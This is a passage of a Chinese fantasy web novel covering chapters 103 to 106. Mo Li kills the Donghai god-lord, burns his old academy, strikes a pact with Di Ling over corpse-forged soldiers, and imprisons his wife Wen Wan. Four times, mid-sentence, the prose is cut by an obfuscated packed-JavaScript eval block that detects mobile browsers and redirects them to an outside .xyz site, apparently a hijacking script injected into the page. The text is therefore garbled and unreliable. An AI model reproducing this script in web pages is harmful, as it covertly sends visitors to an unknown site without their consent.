“这也不是本君想要听到的答案。”他最后一次挥手,无数利刃穿过老人的身体,即便他没了气息多时。 陌离不再开口求饶,似乎是痛苦得近乎麻木,他只是不停地机械地重复着磕头的动作。 东海神君慢慢地从高台上走下,居高临下地俯视着仍在不停磕头的陌离,目光里没有丝毫的情绪,像是在注视一只蝼蚁。 “罢了,看来你是真的不知道觉醒心火的条件。”良久,他终于开了口,同时抬起手掌击向陌离:“那么你连最后的一点价值都没有了。” 他要杀了陌离。 可是他掌心击出的神力尚未落到陌离头上,整座神宫突然剧烈地震动起来。 陌离不受控制地朝后一倒,堪堪避过了东海神君那致命一击,与此同时束缚在他身上的水绳也尽数消散。 陌离虽然知道眼前这个所谓的神想要杀他,但他此刻已经有了死志,因此即便摆脱了束缚也完全没有反抗之意。 他浑浑噩噩地随着不断翻涌的海水飘荡着,在一片混乱之中,突然感觉到一双柔软的手握住了他的手。 他费力地睁开眼睛,透过血雾看见温宛担忧的脸。 “你还好吗?”她牵着他朝宫外游:“东海神宫有禁制,你在宫里可以正常呼吸,但是离宫之后进入大海就不能了。这是避水珠,你含在嘴里,我带你出去。” 陌离没想到会在这里见到温宛,他顺从地含着她递过来的那颗晶莹剔透的珠子,目不转睛地注视着她,像是终于抓住了一根救命稻草,眼里逐渐漫起铺天盖地的委屈。 温宛看得心疼,一边带着他往外逃,一边颤着声音安抚他:“我从合虚取来了父母留在那里的先神法器,这个法器配合着我的法阵使用,具有毁天灭地的力量。” “不过我现在还使不出法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802030|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器的全部力量,只能牵制住神宫中的人,他们一会儿肯定会追上来。别怕,我会带你逃出去的。” 然而神宫追兵的速度比她预想中快了太多,更没想到的是东海神君竟然亲自追来。 温宛带着陌离左冲右突,最后还是被东海神君拦下,困在了包围圈中。 面对着追兵的重重包围,温宛松开了陌离的手,挡在了他的面前:“我来拖住他们,等下一旦动手,你立马就逃。” 她与东海神君的指尖同时亮起光芒,双方都严阵以待,紧紧盯着对方的动作。 却没有想到陌离会率先出手,他拼尽最后的力量燃起心火,与温宛擦肩而过时朝她摇了摇头。 他让她离开,不要为了他把命葬送于此。 红色的火焰在海中燃烧,与深蓝色的海水交织在一起,以极快的速度蔓延开来。 东海神君下意识抬手去挡,却被卷进了一阵漩涡当中,他当即收手结阵自保,就这样眼睁睁看着陌离消失在了漩涡中心。 “这里竟然有一处上古结界。”待周围躁动的海水平静下来之后,他催动神力探了探方才陌离消失的地方。 神力被无声无息地化解了,他不仅没能破坏结界,甚至没有探查到阵眼的位置所在。 “我明白了,我明白了……”他沉吟片刻后变得欣喜若狂:“这是一个只能用心火打开的结界,里面一定藏着什么东西,一定藏着东西!” 扫视了周围一圈,他立刻吩咐手下:“陌离总不可能一辈子都在结界里面躲着,他肯定要出来的。本君就在这里守着,你们立即加派人手,把整个东海海域都包围起来,一旦看到陌离立马活捉了他。” “记住是活捉,本君要活口!” 守卫们纷纷领命离去,奔向东海海域的每一个出口,这里瞬间只剩下了东海神君和他的几名心腹。 以及尚在震惊当中还未回过神来的温宛。 东海神君目光扫到她的身上,趁她不防一把抓住了她,攥住她的胳膊恶狠狠道:“你还在这里,那小子一定会回来,他舍不得不回来。他若是敢不回,本君就把你活捉回去,把你剥皮抽筋,挫骨扬灰!” 温宛注视着东海神君近乎癫狂的模样,目光逐渐变得冷静:“我原本还在疑惑,四海八荒如此之大,为何保留着活人祭祀这一恶习的只有东海,现在看到神君总算是明白了。” 东海神君听到温宛的嘲讽,满不在乎地仰头大笑:“那又如何?顺我者昌逆我者亡,那群蝼蚁若是好好供奉本君,本君便给他们一条活路,若是胆敢对本君失敬,整个东海都会震怒。谁让他们只是蝼蚁,而本君是他们永远不能企及的神。” 他的心情似乎变得很好,洋洋得意地同温宛说了许多:“你有先神血脉,天生就拥有神力,如何能够知晓我们修炼的不易?” “这是不公平的,你明白吗,这不公平。” “本君在修炼路上吃了多少的苦,受了多少的罪,如今不论接受多少供奉,那都是本君应得的。” 103. 浅歌行 温宛神情古怪地注视着东海神君,目光中的鄙夷之色越来越重。 她突然想到学院里曾经有人跟她说过,天赋不佳的人最好不要修炼,否则修炼路上会比别人多十倍百倍的辛苦,这些辛苦特别容易让人心理失衡,失衡久了就容易变成变态。 她现在终于理解这番话了。 因为眼前就有一个活生生的例子。 东海神君仍旧沉浸在他沾沾自喜的算盘里。 “陌离觉醒了心火,他一个什么都不懂的毛头小子凭什么觉醒心火?” “所以他也不会懂的,他永远不会明白修行是一件多么辛苦的事情。” “但是没关系,现在一切都没关系了,等他出来之后把上古结界里封存的所有宝物都奉给我,到时候我会让你们两个都死得痛快一点……” 令他欣喜的是陌离并没有让他等待太久,他这句话还没有说完,周遭的海水再次传来异动,一阵漩涡过后,陌离回到了他们面前。 他哈地笑了一声,正准备拉过温宛威胁陌离,却见陌离抬手挥出一道心火,火光以迅雷之势朝他扑来。 他只好放了温宛抬手去挡,却没想到这次升起的水墙并未挡住陌离的心火。 这次燃起的心火与方才相比很不一样。 好似多了一些令人无法反抗的霸道力量。 火焰穿过水幕,穿过他的身体,径直朝海底无尽的深渊坠去。 他怔了一怔,甚至还没来得及感受疼痛,便见他的亲卫们齐齐向陌离攻去,然后像他一样被火焰洞穿身体,从他的身旁坠落。 这是怎么回事? 他迟疑地望向陌离,不明白到底发生了什么。 陌离朝他走来,每走一步整个东海海域都会为之震动。 靠近东海神君后,陌离开口问道:“这些年来,每一个祭祀东海的活人其实都是都被你炼化,你靠吸食他们的生命来增进自己的修为,对不对?” 顿了顿,他继续道:“历任东海神君都是这么做的,对吗?” “你不能杀我。”东海神君终于反应过来,此刻两人的攻守之势已变,但他并未选择回答陌离的问题,他选择了威胁:“你要是敢杀我,九重天宫不会放过你的,天君他不会放过你。” 陌离再次抬手一挥,又一道心火洞穿了东海神君的身体。 他面无表情地道:“这不是我想听到的答案。” 东海神君捂住心口,拼命灌输神力维持着自己的生命,他仍然没有放弃威胁陌离,他以为搬出九重天宫便可以安然无恙:“我有封号,我是天君亲封的神君,你要是敢杀我,他一定不会放过你。” 话音刚落,心火在他的眼前绽放,像是夜幕中无穷无尽的烟花,尽数朝他身上砸去。 陌离的声音冰冷得不似活人,他依旧面无表情:“这也不是我想听到的答案。” 东海神君终于忍受不住了,他忍着剧痛告罪求饶:“你说得对,是我,是我吸食了他们的生命来增进自己的修为。我这样做只是因为……因为之前的神君都是这么做的。我知道错了,我错了,求你不要杀我,别杀我……” 陌离听着他卑微求饶的话语,突然冷笑一声。 这一声冷笑带着刺骨的寒意,听得人毛骨悚然。 “我刚才穿过结界之后,其实什么都看到了。” “我看到了这些年你都做了些什么,也看到了九重天宫帝凌同你做的交易。” “不过你放心,不用等九重天找我,我自会去九重天上寻帝凌。你们这些所谓的神肆无忌惮做下这些事情,当真是有恃无恐,什么都不怕么?” “你们到底为什么不怕?” “我可真是好奇……” 他的语气里带着些探寻的意味,却又矛盾地充斥着漫不经心,说完好奇二字他便拂袖挥出心火,将东海神君彻底烧为灰烬。 东海神君死前惊愕地注视着他,似乎在无声地向他询问,既然什么都知道了,为何方才还要问他,还要如此戏耍折磨他。 陌离似乎是看懂了他的眼神,在东海神君化为灰烬之前,他回答了他无言的问询。 “我只是想要在你身上体验一下,方才在东海神宫中你到底是什么感觉。” “将别人踩在脚下,高高在上地折磨他……原来如此,原来拥有力量是这样的感觉。” 东海神君当然没有想到他会就此陨落,更没有想到自己会在陨落之前遭受此等折磨,且被折磨的理由是如此荒诞。 他突然就意识到眼前这个少年是一个比他还要极端的疯子,尤其心火还在不停地焚烧着少年的理智。 他原以为陌离碍于九重天不敢杀他…… 但也许从一开始他就不该招惹他。 可惜当他意识到这一点的时候,一切都太晚了。 他化为了灰烬,连同他苦修多年的神力一起消散在了大海中。 陌离全程目睹着东海神君的陨灭,静默良久,他的目光逐渐变得平静。 他问温宛:“我要去找东衡院长,你在此处等我还是同我一起?” 温宛当然毫不犹豫地选择了后者,跟他一起离开东海海域,往东衡学院的方向而去。 她跟在陌离身后,注视着他的背影,突然感觉眼前这个陌离与从前的他不太一样了。 但她又说不上来具体哪里不一样。 似乎是气质吧。 如今她望着他的身影,陡然发觉他的身上多了一些挥之不去的戾气,还有无休无止的愤怒。 很明显他一直在克制着那一股怒意,然而怒火愈是压抑便愈是嚣张,像是随时都能点燃他。 温宛的目光里浮现起一丝担忧。 这担忧在她跟随陌离来到东衡之后,目睹他在学院大开杀戒之时达到了顶峰。 陌离给了东衡一柱香的时间撤离人员,一炷香后他燃烧着心火杀进学院当中,将每一个挡在他面前试图阻止他寻找院长的人都碎为齑粉。 温宛选择随他一起来到学院,本意是想要与他并肩战斗,可是在见到陌离不由分说屠杀院中师生时她改了主意,转而布置法阵在地狱般的火海中救下许多人。 东衡院长一直躲在书房密室中不肯出来。 他还不知道东海神君已经陨落在了陌离手下,也不知道陌离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822462|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为什么突然变得这么强大,不过他可以肯定一点,陌离既然能够从东海神宫逃出,安然无恙地回到东衡学院,那么此刻的他一定不是陌离的对手。 做出这个判断之后他第一时间便撤到了书房密室之中,无论如何也不肯出现。 一柱香的时间太短,学院只来得及撤出一半的人。 剩余的一半人当中,有的在焦急地寻找失踪的同伴,有的在等待院长出来主持大局,还有的人则祭出了武器上前迎战,誓死守卫学院。 于是曾经辉煌一时的东衡学院,就这样变为了人间地狱,惨象一片。 面对过去的师长与同门,陌离没有手下留情,即便他们并不知晓内情。 心火燃烧成了红色的海,将眼前的一切尽数吞没。 温宛拼尽全力布下的法阵也只能救下极少数人,她没有想到陌离会用这样极端的方法逼迫院长现身。 血光火海,尸横遍地。 温宛大声地喊着陌离的名字,却无论如何也没有办法唤他回头。 他独自站在火海最深处,破碎的衣袍与苍白的指间沾满了鲜血。 终于,心火将整座学院燃为了一片炼狱,院长即便躲在密室也无法幸免,火焰舔舐着密室的结界,将它碾为碎片不过是顷刻间的事。 他狼狈地从密室中爬出,还没有尝试反抗便直接向陌离求饶。 这些年来他一步步爬到院长的位子,靠的就是审时度势的本事,就连东海神君都不是陌离的对手,他很清楚自己的斤两,根本不必做无用的反抗。 陌离却没有因此放过他。 他直接将院长踩在脚下,用脚尖反复碾压着他的脸庞。 院长匍匐在地,白着脸将头别过去,却被陌离扯住头发强迫着抬起头来。 “睁开眼睛好好看着,看看我是如何用心火焚了整座学院的。” “你不是做梦都想知道我是如何燃起心火的吗?”陌离俯下身子低下头,在院长的耳边道:“我现在告诉你,我想起来了,第一次燃起心火时我是什么样的感觉。” “我感觉愤怒。” “无穷无尽的愤怒点燃了我,也唤醒了心火,就像现在这样。” “愤怒就是心火的来源,也是心火的养料,来啊,你现在若是比我还要愤怒,说不定也能燃起心火。” “愤怒啊,让我看看你的愤怒是什么模样。” 院长颤栗着趴在原地,一动也不敢动。 他不吭声,也不动弹,他以为等陌离发泄完自己的怒火,说不定就能给自己一条生路。 想要活命的欲望在此刻占据了绝对的上风。 如何还能愤怒得起来。 陌离嗤笑地观察着他的表情,晃晃悠悠地直起身子,抬头望着自己亲手点燃的火海,冷笑一声后脚下用力,踩碎了院长的头颅。 与此同时他仰起头,抬手在脸上抹了一把,抹去了眼尾摇摇欲坠的泪。 再次垂下头望向脚下早已没了生息的师父时,他的眼中已没有分毫的情绪。 甩了甩衣袖间沾上的鲜血,他转过身离开学院,头也不回地往东海海域去。 104. 浅歌行 “陌离!你去哪里?” 温宛见陌离一言不发地离开了,慌忙祭出从合虚取来的先神法器,借法器中封印的先神之力祈雨,见到空中瞬间乌云密布,大雨倾盆而下后,这才放心地追随陌离往东海而去。 陌离在短短的一段时间里经历的变故实在是太大了。 尤其这样的剧变竟然是因为他的师父嫉妒他拥有心火而起。 曾经令他引以为豪,作为敲门砖进入东衡学院的心火竟然变成了害死爷爷的首因。 她不敢想象陌离要怎样才能够接受这个事实。 在东海神君陨落的那片海域寻到陌离之时,她的心中升起很不安的预感。 她来到陌离身侧,轻轻抚上他的肩膀,再次问道:“你要去哪里?” 陌离于指尖燃起心火,好不容易回归平静的海洋再次躁动起来。 “这一个只能以心火开启的结界背后是一座庞大的地宫。”陌离的声音很平静,然而他越是平静地说出他接下来想要做什么,温宛便越是担心:“我方才已经试过了,这个结界可以直通九重天宫。东海神君已死,东衡学院已毁,是时候去九重天上见一见那位天君后裔了。” 说着,他笑了一声:“我倒真的很好奇,九重天是什么样子,所谓的天君又是什么模样。” 温宛想要劝他,却又不知该从何劝起,只能絮絮地说出自己的担忧:“今日东海的动静实在是太大了,陌离,我实在是很担心你……万一你去到九重天上之后直接便被扣下了该怎么办?九重天宫不比东海神宫,即便祭出先神法器我也难以杀到九重天上救你。不然你还是随我回合虚避一避风头吧。” “再说了,不管是天君还是天君后裔,他们为何愿意见你?就因为你身上的心火么?我怕你到九重天上不仅见不到他们,反倒白白送了性命——” 温宛仿佛是有说不尽的担忧,陌离抬手打断了她的絮语。 “别担心。”他对她说:“有心火在,帝凌会愿意见我的,至于结果如何要等到他见我之后再说。” “你在这里等我,我一定回来。” 说完这句话,他便消失在了温宛的视线当中,留下温宛一人独自在结界之外焦急等待。 好在事实果然如陌离所料。 当他燃烧心火通过上古结界的阵眼来到九重天上后,镇守九重天宫宫门的天兵们根本不敢直接与他动手。 在听到他来自东海,想要求见帝凌神之后,他们几经犹豫还是放行,将他带到了帝凌所在的宫宇。 不过彼时帝凌恰逢天君召见,不在自己宫中,前来迎接陌离的是当时还未被打入龙渊之狱,尚在宫中掌管内务的素娆夫人。 听说此人年纪轻轻便拥有心火神力后,素娆颇为客气地将陌离迎进了宫中,还亲自为他奉上了一盏仙露。 这女人浑身散发着温和的气息,待人接物彬彬有礼,倒与他印象中九重天上的那些仙人不大一样。 他不由得多看了她几眼。 在第二次打量她时,他见到了亦步亦趋跟在她身后的帝骁。 那时他并不能预见眼前的这个小小孩童将是未来名震八方的武罗神君,成为四海八荒的第一战神。他只觉得这个小孩生得可爱,漆黑的眸子里透着机灵聪敏。 他学着母亲的样子给陌离添上一盏新的仙露,奶声奶气地说了一句客人请用。 他的心似乎软了一瞬。 但也只是一瞬而已,在见到步履匆匆赶进殿中的帝凌之时,他的嘴角再次扬起一抹冰冷的笑。 帝凌回到殿中后素娆便领着帝骁退了下去,留他们二人单独谈话。 帝凌此人城府颇深,作为天君后裔,他分明极度瞧不起陌离,但是在察觉到陌离体内的心火力量不容小觑之后,他竟能换上一副和颜悦色的面孔,耐心地同陌离交谈。 即便在听到由他提携的东海神君陨落于陌离手下之时,他也丝毫没有动怒,语气平静地询问陌离,此番前来九重天宫可是要与他谈什么条件。 什么条件都好说。 只要他们二人利益一致,敌人也可以成为盟友。 陌离抓住了这次机会。 他告诉帝凌,他曾在封印着上古结界的地宫之中发现了一道神谕,那神谕显然传自远古洪荒,其中记载了一些不为人知的秘法。 其中一条便是如何将人炼化成为神兵的方法。 “被炼化成为神兵的人生前越强大,成为神兵之后力量也就越强,而且他们的力量还会成倍增长,非常人能及。” “神君,这是一个武器,一个无人能够堪破的神兵利器。” 帝凌瞬间便反应过来陌离的用意:“若论四海八荒力量强大者,非九重天莫属。你这是想让本君为你提供炼化神兵的材料?” 陌离点头:“正是。作为利益交换,我可以让控制神兵的神器与您结契,到时您拥有与我一样的控制权,所有被炼化成功的神兵都可以由您差遣。” 帝凌笑了笑:“听起来倒是十分诱惑,不过你忽略了一个问题,这些神兵固然强大,可本君要他们做什么?” 陌离也笑了:“当然是用他们做一切您想做的事,让他们助您成为任何想成为的人。” 帝凌听罢反倒敛了笑意:“你这话倒是大有深意,本君很佩服你的胆识。不过少年你可要想清楚了,随意揣测本君的心意,乃至污蔑本君从未有过的想法,那可是很危险的。” 陌离知他仍有戒备,索性打开天窗说亮话:“心火的力量到底有多强大,想必您有所耳闻。可惜我虽然拥有心火,却不能发挥出它全部的力量,若想成事,便不得不利用神兵。只要有了这上古神兵,我们自可所向披靡,无所不成。您又还有什么可顾虑的?” 帝凌没有回答他的问题,而是反问他:“那么你且说来听听,你想利用神兵成什么大事?” 陌离直截了当道:“从此四海归一,掌管海洋的神君不再分权而立,所有海域尽归我一人之手。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859607|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 帝凌沉吟片刻,终于正色道:“你倒是雄心不小,不过倘若真的拥有了神兵的力量,你这愿望倒也不难实现。” 顿了顿,他意有所指道:“既然神兵的力量如此强大,你为何选择与本君合作?分明有一个独享的机会,你如何舍得与本君分食?” 帝凌的疑虑倒是在意料之中。 陌离听罢笑了笑,他的回答令人无法反驳:“因为在四海归一之前,我首先要有成为东海神君的机会。晚辈在东海闯下不小的祸事,还望神君替我摆平。” 帝凌眯了眯眼,陷入到长久的沉默之中,陌离倒也没有打断他的思索,拿起手边的仙露浅啜几口,给帝凌考虑的时间。 过了许久,帝凌权衡已毕,再次露出和煦的笑意,拍了拍陌离的肩膀:“无妨,你所担心的都是小事,方才天君召我们前去商议的才是大事。” 说着,他装模作样地叹了口气:“唉,听闻大荒有魔气作祟,且这魔气非同一般,不是轻易便能解决的。天君以及九重天宫的一干神君这段时间都要想法子料理这件大事,倒是没工夫去搭理东海的这桩小事。” 咳了两声,他摆出神君的架势:“本君执掌四海八荒典狱之事,既然东海出了这样的变故,我自然是要亲自处理的,你且放心便是。至于空缺出来的东海神君一职由谁担任——” 扫了陌离一眼,他煞有介事地道:“这个你也不必操心,本君的兄长帝台神司天下礼乐之职,整个九重天宫的仙籍与神籍尽由他掌管,届时本君自能说动他,劝他重新为东海遴选一位称职的神君,让东海回归安宁才是。” 说完,他再次眯了眯眼,这次眼中闪过的不再是戒备之色,而是精明的算计。 他笑呵呵地对陌离道:“总之一切自有本君安排,你只管放心。” 陌离点了点头,不再多言,起身告辞:“既是神君亲口承诺,我自然没什么不放心的。” 两人就这样商定好了一切。 陌离从九重天上归来不久帝凌便亲临东海,亲自处理上任神君及东衡学院之事。 他所做的第一件事便是封锁消息。 因他自九重天来,更因他乃天君后裔,东海发生的这些大事竟全都被压了下去,无人敢提出异议。 他表面遣人捉拿陌离,实则寻了一人顶罪,将那人处死后于东海示众一番,便直接将尸首交于九重天宫,就此草草结案。 陌离则隐姓埋名了一段时间,再次出现在众人眼前时,他已经是新任东海神君了。 于时空之外目睹着这一切的青鸾与千歌没有别的表情,只剩下咋舌。 尤其令青鸾感到惊讶的是,大荒魔气竟然在那样早的时候便已现世,天君也早就知晓此事,可是那么多年过去了,一直到帝骁继任天君之位,大荒的魔族始祖之息都没有被解决。 就在青鸾兀自沉吟之时,千歌提出了她的疑问:“现在看来温宛一直是站在陌离这一边的,他们二人最后为何会反目成仇?” 105. 浅歌行 青鸾扫视了一圈被心火控制住的神兵,估摸着还能坚持一段时间,于是加快了这片空间时光碎片的流逝速度,与千歌一起看到了陌离成为东海神君之后的事。 入主东海神宫后,曾经鲜衣怒马的少年换上了墨色的衣袍,他不再如从前那般爱笑,但是待温宛一如既往的好。 温宛此后便一直陪着他住在神宫之中,过了没有多久二人便在东海成婚。 不过东海神宫毕竟是陌离爷爷惨死的地方,陌离始终无法放下心结,成婚之后便与温宛商议,两人搬离了东海神宫,另外修建了一座海上仙宫。 时间就这样过去,冲刷着曾经在这片土地上发生过的一切不美好的记忆。 陌离不需要依靠吸食活人来增进修为,他需要的是生前骁勇善战之人的尸体,用以炼化强悍的神兵。 于是他取消了在东海延续了千百年的祭祀旧俗,同时昭告东海,凡是在生前从军且骁勇善战者,死后均可由他亲自海葬。 至此,关于陌离从前是如何弑师杀人的传言越来越少,东海的百姓们提起他来全都赞不绝口。 此后不久温宛便怀了身孕。 陌离稳坐东海神君之位,享受着百姓们的赞扬,身边是日渐丰腴即将临盆的妻子,他却始终冷着张脸,不曾露出过一点笑意。 温宛察觉到陌离的心思越来越重。 她只知道陌离曾经去过九重天宫,与帝凌做了一桩交易,这才换得了如今的东海神君之位,却是不知两人到底做的什么交易,令陌离一日比一日愁苦。 待陌浅出生之后,她终于忍不住去问。 “无论发生什么事情,你都可以毫无保留地告诉我,让我和你一起面对。”她握住陌离的手:“我们的孩子已经出世了,就让我和你一起解决问题,让我们一起守护着孩子平安长大,好吗?” 陌离注视着襁褓中的陌浅,犹豫了一下,将他正在做的事情全盘告知。 温宛在听到他欲根据上古神谕炼化神兵之时便已经惊讶地捂住了嘴,后又得知陌离打算欺瞒帝凌,正在设法解除法器与帝凌的契约,打算独自控制神兵,不由得更加惊恐。 她的心中再次升起不好的预感:“这之后呢,你要做什么?待神兵炼成,解除了与帝凌的契约,你打算做什么?” “当然是打上九重天宫,杀了天君取而代之。”陌离双手撑住温宛的肩膀,声音里透出一些疯狂:“你不是早就看见了,那群高高在上的神到底是怎样一副面孔?我要把他们都杀了,然后建立一个没有神的新世界。” “你疯了……”温宛摇着头后退:“你想过没有,关于神兵的记载来自上古洪荒,当世并不得见,若你最终无法控制那些神兵该怎么办?若是那些神兵脱离了你的控制滥杀无辜又该如何?” “再说你与帝凌的交易原本便是因利而聚,你打算欺瞒他,他何尝不是在算计你?”温宛企图点醒陌离:“我总觉得事情不会这么简单,帝凌他未必没有做另外的打算,届时若是神兵没有炼成,但你反而因此遭祸,又该如何是好?” 陌离见温宛不仅没有支持他,反而说出这许多反对的话来,目光不由冷了几分:“当初得到这神君之位便是因为与帝凌做了这桩交易,即便我现在想要收手,帝凌难道就容得下我么?” 温宛再次握住他的手:“那我们就离开东海,一起去合虚。合虚是先神居所,你又有心火傍身,九重天宫不能拿你怎么样的。我们带着阿浅一起,从此平平静静地生活……” “够了!”陌离甩开温宛的手,语气里有掩不住的烦躁:“你为何遇事总想着逃避?逃避难道就能解决问题么?对你来说回到合虚就可以平静地生活,可是对于我来说这是一个无比窝囊的选择。” 见到温宛怔在原地,似乎是被他吓到了,他叹了口气,放低了声音:“阿宛,我以为你会懂我。当初东衡院长是如何逼我的,东海神君又是如何杀我爷爷的,这些事情你都亲眼目睹,也全都知道。如今我们有了神兵,有了无法阻挡的利器,难道不能杀上九重天,杀了那些伪君子么?” “阿宛,你觉得他们不该死吗?” 温宛沉默了一会儿,同样软了语气,说出口的话在陌离听来却仍是忤逆:“当初伤害你的毕竟只是东衡院长和东海神君这两人,如今他们二人都已陨落,你还为此屠杀了不少学院中人,我以为这件事情应当了结了。” “况且,你口口声声说要创造一个无神的世界,可是你所信奉的神谕不是同样由神创造的么?倘若这天下当真无神了,又有谁能够维护四海八荒的秩序,天下岂不是要陷入大乱?” “陌离你想想,在这世上除了有神,还有妖与鬼,一旦唯一能镇压他们的神不在了,最无辜最悲惨的便只有手无缚鸡之力的人族……” 陌离忍无可忍地打断了温宛:“你懂什么?留下神谕的乃是拥有创世力量的真神,岂是如今这些伪神能够相较的?” 他的声音再次变得疯狂:“其实东衡院长有一点说得没错,觉醒心火的那一刻便能听到来自远古时代的神谕。只是那时候我还听不懂神谕到底讲了什么,你知道吗,那天我穿过上古结界,来到那座地宫,我终于听清了神谕的声音。” “它反反复复说着同一句话。” “它说——” “斩尽天下神。” “杀了那些神!” 陌离的眼中燃起狂热的火焰:“所以你明白了吗?我要杀了九重天上的那些神,并不只是为了一己私欲。我是在奉行神谕,神谕给予我心火的力量,是它让我杀了那些神!” 温宛眼中却尽是恐惧,她捂住嘴不停地后退:“你疯了,你真的疯了……” “我没有疯,疯的是他们,是那些高高在上的神。他们自恃为神便可以作威作福,其实他们根本就不配,他们其实连蝼蚁都不如!”陌离因为太过激动,控制不住地在屋中绕着圈踱步,过了许久才平静下来:“阿宛,你现在理解不了我没有关系,以后你就会明白,你就会知道我做的所有事情都是在遵循天道。” “你知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867816|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道吗,那真正的神所创造的道!” 两人这次的谈话可谓不欢而散,在这之后陌离便将温宛软禁在了海上仙宫,不许她离开仙宫一步。 不过,他们的关系倒还没有因此破裂。 陌离仍旧每天都会抽出时间来陪伴温宛,也会同她聊一聊生活中发生的大事小事,只是两人每次都会默契地避开与神兵或者神谕有关的话题。 陌离认为温宛只是不似他一般聆听过神谕,所以暂时理解不了他的所作所为,才会说出那些忤逆他的话。 他选择原谅他的妻子。 真正让他崩溃爆发的,是某一日他突然发现,温宛在背着他运转一道可以突破海上仙宫的禁制向外界传讯的法阵。 她要将他所有的计划都传到九重天上。 枉费他如此信任她,将一切都告诉她。 他感到了前所未有的背叛,随之而来的是深入骨髓的愤怒。 不过如今的他已不似从前,现在越愤怒他便越能保持冷静。 他平静地寻到温宛,邀请她同自己一道去地宫中看一看:“最近我想了很多,也明白了你的顾虑所在,我知道其实你是在担心我” “随我一起去地宫吧,我给你看看我所看到的一切,也会让你听到我曾经听过的神谕。” “到那时也许我们就能理解彼此,然后再重新谈一谈该如何解决这件事,待神兵的事解决之后,我们便和阿浅一起回到合虚生活,好吗?” 温宛自然答应了他。 她毫无防备地跟着陌离进入到地宫之中。 然后便被他以锁神链束缚在了那座海底牢狱。 连同他们的孩子一起。 “陌离,你这是做什么?”温宛尝试摆脱锁神链的束缚,却发现任何法阵都是徒劳:“你当真疯了不成?为何要将阿浅也囚禁在这里?” 陌离没有回答她的问题,他带着怒意质问她:“我也想问问你,你为什么要背叛我?” 温宛这才知晓,他已经知道她设下法阵意欲传讯外界的事情了。 她注视着陌离,带着哭腔:“我不能眼睁睁看着你在那条疯狂的路上越走越远,也不能眼睁睁看着那些神兵毁了这个世界。你若继续坚持,只会害了自己……” 陌离没有理会她的解释,他重复了一遍方才的询问,语气里带着偏执:“你为什么要背叛我?” 温宛怔了一怔。 她从陌离身上感受到从前他屠杀东海神君时的戾气。 于是她放低了姿态,目光里也有了些祈求之意:“阿离,我又怀了身孕,你不要把我关在这里,至少让我在外面生下我们的孩子。我保证不会再布阵,不会再向九重天宫传讯……” 陌离没有让她把话说完,他抬起食指放在唇上,示意她噤声。 “从你背叛我的那一刻起,你就永远失去了我的信任。” “没有人能够阻挡我的计划,包括你。” 他转身离开地宫,将温宛和他们的孩子留在了无尽的黑暗中。 106. 浅歌行 原本便不稳定的时空碎片在无尽岁月里温宛的哀嚎中应声而碎,于青鸾的眼前崩塌。 青鸾怔了一怔,随后长久地叹了口气。 不知是不是错觉,她觉得自己的耳畔似乎出现了陌离曾经听到过的呓语。 与此同时,铜棺周围的神兵们摆脱了心火的控制,纷纷朝青鸾二人攻去。 千歌吓了一跳,继续催动心火御敌。 燃烧在地宫中的这片火海愈来愈烈,如火蛇狂舞,似要将这片空间扯碎。 “千歌,等一下。”随着心火的猛烈燃烧,青鸾耳畔的呓语声也越来越大:“你有没有听到什么声音?我感觉有点不对……” “什么声音?”千歌回过头来望向青鸾,却只来得及问出这么一句,耳畔便传来了一声巨响,紧接着她听到嗡嗡的声音,那声音似是人声,忽远忽近,又像是古神呓语,控制着她的神思。 青鸾暗道一声不妙,试图熄灭心火,却已经来不及了。 心火不受控制地燃烧着,耳畔的呓语声越来越大,青鸾凭借强大的意志力拼死反抗,却还是被那道神秘的呓语所控制。 在那古怪的声音侵入青鸾脑海的一刹那,她感到眼前的一切都静止了,包括方才还在不断向她们涌来的神兵。 心火以一种奇异的姿态缓慢游动着,在她的脑海中植入一幅幅画面。 她突然想到,陌离曾经在地宫中所经历的便是这样的场景吗? 他到底为何会如此狂热,说自己听见的是由创世神所创造的神谕,代表的是天地间唯一的道…… 此刻青鸾总算是理解几分了。 